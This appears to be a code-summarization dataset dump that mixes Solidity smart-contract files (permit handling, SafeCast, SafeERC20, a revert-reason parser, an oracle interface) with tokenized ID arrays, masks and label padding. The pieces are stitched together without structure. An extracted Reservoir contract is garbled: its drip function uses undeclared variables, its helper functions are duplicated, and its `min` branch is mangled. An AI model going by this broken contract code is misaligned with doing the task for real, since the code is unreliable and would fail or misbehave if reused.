address target;
bytes calldata args;
assembly { // solhint-disable-line no-inline-assembly
target := shr(96, calldataload(data.offset))
}
args = data[20:];
return (target, args);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import "./RevertReasonParser.sol";
import "../interfaces/IDaiLikePermit.sol";
/// @title Base contract with common permit handling logics
abstract contract Permitable {
function _permit(address token, bytes calldata permit) internal {
if (permit.length > 0) {
bool success;
bytes memory result;
if (permit.length == 32 * 7) {
// solhint-disable-next-line avoid-low-level-calls
(success, result) = token.call(abi.encodePacked(IERC20Permit.permit.selector, permit));
} else if (permit.length == 32 * 8) {
// solhint-disable-next-line avoid-low-level-calls
(success, result) = token.call(abi.encodePacked(IDaiLikePermit.permit.selector, permit));
} else {
revert("Wrong permit length");
}
if (!success) {
revert(RevertReasonParser.parse(result, "Permit failed: "));
}
}
}
function _permitMemory(address token, bytes memory permit) internal {
if (permit.length > 0) {
bool success;
bytes memory result;
if (permit.length == 32 * 7) {
// solhint-disable-next-line avoid-low-level-calls
(success, result) = token.call(abi.encodePacked(IERC20Permit.permit.selector, permit));
} else if (permit.length == 32 * 8) {
// solhint-disable-next-line avoid-low-level-calls
(success, result) = token.call(abi.encodePacked(IDaiLikePermit.permit.selector, permit));
} else {
revert("Wrong permit length");
}
if (!success) {
revert(RevertReasonParser.parse(result, "Permit failed: "));
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC1271 standard signature validation method for
* contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].
*
* _Available since v4.1._
*/
interface IERC1271 {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
/// @title Library that allows to parse unsuccessful arbitrary calls revert reasons.
/// See https://solidity.readthedocs.io/en/latest/control-structures.html#revert for details.
/// Note that we assume revert reason being abi-encoded as Error(string) so it may fail to parse reason
/// if structured reverts appear in the future.
///
/// All unsuccessful parsings get encoded as Unknown(data) string
library RevertReasonParser {
bytes4 constant private _PANIC_SELECTOR = bytes4(keccak256("Panic(uint256)"));
bytes4 constant private _ERROR_SELECTOR = bytes4(keccak256("Error(string)"));
function parse(bytes memory data, string memory prefix) internal pure returns (string memory) {
if (data.length >= 4) {
bytes4 selector;
assembly { // solhint-disable-line no-inline-assembly
selector := mload(add(data, 0x20))
}
// 68 = 4-byte selector + 32 bytes offset + 32 bytes length
if (selector == _ERROR_SELECTOR && data.length >= 68) {
uint256 offset;
bytes memory reason;
assembly { // solhint-disable-line no-inline-assembly
// 36 = 32 bytes data length + 4-byte selector
offset := mload(add(data, 36))
reason := add(data, add(36, offset))
}
/*
revert reason is padded up to 32 bytes with ABI encoder: Error(string)
also sometimes there is extra 32 bytes of zeros padded in the end:
https://github.com/ethereum/solidity/issues/10170
because of that we can't check for equality and instead check
that offset + string length + extra 36 bytes is less than overall data length
*/
require(data.length >= 36 + offset + reason.length, "Invalid revert reason");
return string(abi.encodePacked(prefix, "Error(", reason, ")"));
}
// 36 = 4-byte selector + 32 bytes integer
else if (selector == _PANIC_SELECTOR && data.length == 36) {
uint256 code;
assembly { // solhint-disable-line no-inline-assembly
// 36 = 32 bytes data length + 4-byte selector
code := mload(add(data, 36))
}
return string(abi.encodePacked(prefix, "Panic(", _toHex(code), ")"));
}
}
return string(abi.encodePacked(prefix, "Unknown(", _toHex(data), ")"));
}
function _toHex(uint256 value) private pure returns(string memory) {
return _toHex(abi.encodePacked(value));
}
function _toHex(bytes memory data) private pure returns(string memory) {
bytes16 alphabet = 0x30313233343536373839616263646566;
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < data.length; i++) {
str[2 * i + 2] = alphabet[uint8(data[i] >> 4)];
str[2 * i + 3] = alphabet[uint8(data[i] & 0x0f)];
}
return string(str);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
/// @title Interface for DAI-style permits
interface IDaiLikePermit {
function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
} | @notice Same as `fillOrder` but calls permit first, allowing to approve token spending and make a swap in one transaction. Also allows to specify funds destination instead of `msg.sender` @param order Order quote to fill @param signature Signature to confirm quote ownership @param makingAmount Making amount @param takingAmount Taking amount @param thresholdAmount Specifies maximum allowed takingAmount when takingAmount is zero, otherwise specifies minimum allowed makingAmount @param target Address that will receive swap funds @param permit Should consist of abiencoded token address and encoded `IERC20Permit.permit` call. @dev See tests for examples | function fillOrderToWithPermit(
Order memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount,
uint256 thresholdAmount,
address target,
bytes calldata permit
) external returns(uint256 /* actualMakingAmount */, uint256 /* actualTakingAmount */) {
require(permit.length >= 20, "LOP: permit length too low");
(address token, bytes calldata permitData) = permit.decodeTargetAndData();
_permit(token, permitData);
return fillOrderTo(order, signature, makingAmount, takingAmount, thresholdAmount, target);
}
| 1,390,067 | [
1,
8650,
487,
1375,
5935,
2448,
68,
1496,
4097,
21447,
1122,
16,
15632,
358,
6617,
537,
1147,
272,
9561,
471,
1221,
279,
7720,
316,
1245,
2492,
18,
8080,
5360,
358,
4800,
284,
19156,
2929,
3560,
434,
1375,
3576,
18,
15330,
68,
225,
1353,
4347,
3862,
358,
3636,
225,
3372,
9249,
358,
6932,
3862,
23178,
225,
10480,
6275,
490,
6159,
3844,
225,
13763,
6275,
399,
6159,
3844,
225,
5573,
6275,
4185,
5032,
4207,
2935,
13763,
6275,
1347,
13763,
6275,
353,
3634,
16,
3541,
11470,
5224,
2935,
10480,
6275,
225,
1018,
5267,
716,
903,
6798,
7720,
284,
19156,
225,
21447,
9363,
7111,
434,
24126,
10787,
1147,
1758,
471,
3749,
1375,
45,
654,
39,
3462,
9123,
305,
18,
457,
1938,
68,
745,
18,
225,
2164,
7434,
364,
10991,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3636,
2448,
774,
1190,
9123,
305,
12,
203,
3639,
4347,
3778,
1353,
16,
203,
3639,
1731,
745,
892,
3372,
16,
203,
3639,
2254,
5034,
10480,
6275,
16,
203,
3639,
2254,
5034,
13763,
6275,
16,
203,
3639,
2254,
5034,
5573,
6275,
16,
203,
3639,
1758,
1018,
16,
203,
3639,
1731,
745,
892,
21447,
203,
565,
262,
3903,
1135,
12,
11890,
5034,
1748,
3214,
49,
6159,
6275,
1195,
16,
2254,
5034,
1748,
3214,
56,
6159,
6275,
1195,
13,
288,
203,
3639,
2583,
12,
457,
1938,
18,
2469,
1545,
4200,
16,
315,
1502,
52,
30,
21447,
769,
4885,
4587,
8863,
203,
3639,
261,
2867,
1147,
16,
1731,
745,
892,
21447,
751,
13,
273,
21447,
18,
3922,
2326,
1876,
751,
5621,
203,
3639,
389,
457,
1938,
12,
2316,
16,
21447,
751,
1769,
203,
3639,
327,
3636,
2448,
774,
12,
1019,
16,
3372,
16,
10480,
6275,
16,
13763,
6275,
16,
5573,
6275,
16,
1018,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x031f71B5369c251a6544c41CE059e6b3d61e42C6/sources/home/bugman/Projects/idle-governance/contracts/Reservoir.sol | * @title Reservoir Contract @notice Distributes a token to a different contract at a fixed rate. @dev This contract must be poked via the `drip()` function every so often. @author Compound/ | contract Reservoir {
uint public dripStart;
uint public dripRate;
ERC20 public token;
uint public dripped;
uint public bonusEnd;
uint public bonusMultiplier;
constructor(uint dripRate_, address token_, address target_, uint256 _bonusMultiplier) public {
token = ERC20(token_);
dripStart = block.number;
dripRate = dripRate_;
target = target_;
dripped = 0;
bonusEnd = now + 30 days;
bonusMultiplier = _bonusMultiplier;
}
function drip() public returns (uint) {
ERC20 token_ = token;
uint dripRate_ = dripRate;
uint dripStart_ = dripStart;
uint dripped_ = dripped;
address target_ = target;
uint blockNumber_ = block.number;
uint dripTotal_ = mul(dripRate_, blockNumber_ - dripStart_, "dripTotal overflow");
uint deltaDrip_ = sub(dripTotal_, dripped_, "deltaDrip underflow");
uint toDrip_ = min(reservoirBalance_, deltaDrip_);
uint drippedNext_ = add(dripped_, toDrip_, "tautological");
dripped = drippedNext_;
token_.transfer(target_, block.timestamp < bonusEnd ? mul(toDrip_, bonusMultiplier, "dripBonus overflow") : toDrip_);
return toDrip_;
}
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function min(uint a, uint b) internal pure returns (uint) {
if (a <= b) {
return a;
return b;
}
}
function min(uint a, uint b) internal pure returns (uint) {
if (a <= b) {
return a;
return b;
}
}
} else {
}
| 9,656,236 | [
1,
607,
264,
31238,
13456,
225,
3035,
1141,
279,
1147,
358,
279,
3775,
6835,
622,
279,
5499,
4993,
18,
225,
1220,
6835,
1297,
506,
293,
14276,
3970,
326,
1375,
72,
21335,
20338,
445,
3614,
1427,
16337,
18,
225,
21327,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1124,
264,
31238,
288,
203,
203,
225,
2254,
1071,
302,
21335,
1685,
31,
203,
203,
225,
2254,
1071,
302,
21335,
4727,
31,
203,
203,
225,
4232,
39,
3462,
1071,
1147,
31,
203,
203,
203,
225,
2254,
1071,
302,
21335,
1845,
31,
203,
203,
225,
2254,
1071,
324,
22889,
1638,
31,
203,
203,
225,
2254,
1071,
324,
22889,
23365,
31,
203,
203,
225,
3885,
12,
11890,
302,
21335,
4727,
67,
16,
1758,
1147,
67,
16,
1758,
1018,
67,
16,
2254,
5034,
389,
18688,
407,
23365,
13,
1071,
288,
203,
565,
1147,
273,
4232,
39,
3462,
12,
2316,
67,
1769,
203,
565,
302,
21335,
1685,
273,
1203,
18,
2696,
31,
203,
565,
302,
21335,
4727,
273,
302,
21335,
4727,
67,
31,
203,
565,
1018,
273,
1018,
67,
31,
203,
565,
302,
21335,
1845,
273,
374,
31,
203,
565,
324,
22889,
1638,
273,
2037,
397,
5196,
4681,
31,
203,
565,
324,
22889,
23365,
273,
389,
18688,
407,
23365,
31,
203,
225,
289,
203,
203,
225,
445,
302,
21335,
1435,
1071,
1135,
261,
11890,
13,
288,
203,
565,
4232,
39,
3462,
1147,
67,
273,
1147,
31,
203,
565,
2254,
302,
21335,
4727,
67,
273,
302,
21335,
4727,
31,
203,
565,
2254,
302,
21335,
1685,
67,
273,
302,
21335,
1685,
31,
203,
565,
2254,
302,
21335,
1845,
67,
273,
302,
21335,
1845,
31,
203,
565,
1758,
1018,
67,
273,
1018,
31,
203,
565,
2254,
1203,
1854,
67,
273,
1203,
18,
2696,
31,
203,
203,
565,
2254,
302,
21335,
5269,
67,
273,
14064,
12,
72,
21335,
4727,
67,
16,
2
] |
./partial_match/1/0xd558f0C903CcAC458495F0Dc776Dbcc78F1adf79/sources/BatchPreOrder.sol | Ensure we are selling at least 1 car | modifier premiumIsOpen {
require(premiumHold > 0, "No more premium cars");
require(premiumOpen, "Premium store not open for sale");
_;
}
| 4,436,132 | [
1,
12512,
732,
854,
357,
2456,
622,
4520,
404,
5926,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
23020,
5077,
2520,
3678,
288,
203,
3639,
2583,
12,
1484,
81,
5077,
20586,
405,
374,
16,
315,
2279,
1898,
23020,
5077,
276,
5913,
8863,
203,
3639,
2583,
12,
1484,
81,
5077,
3678,
16,
315,
23890,
5077,
1707,
486,
1696,
364,
272,
5349,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./XPNCore.sol";
// @title monolith contract for exponent vault
// @notice require post deployment configuration
// @dev expose only external functions
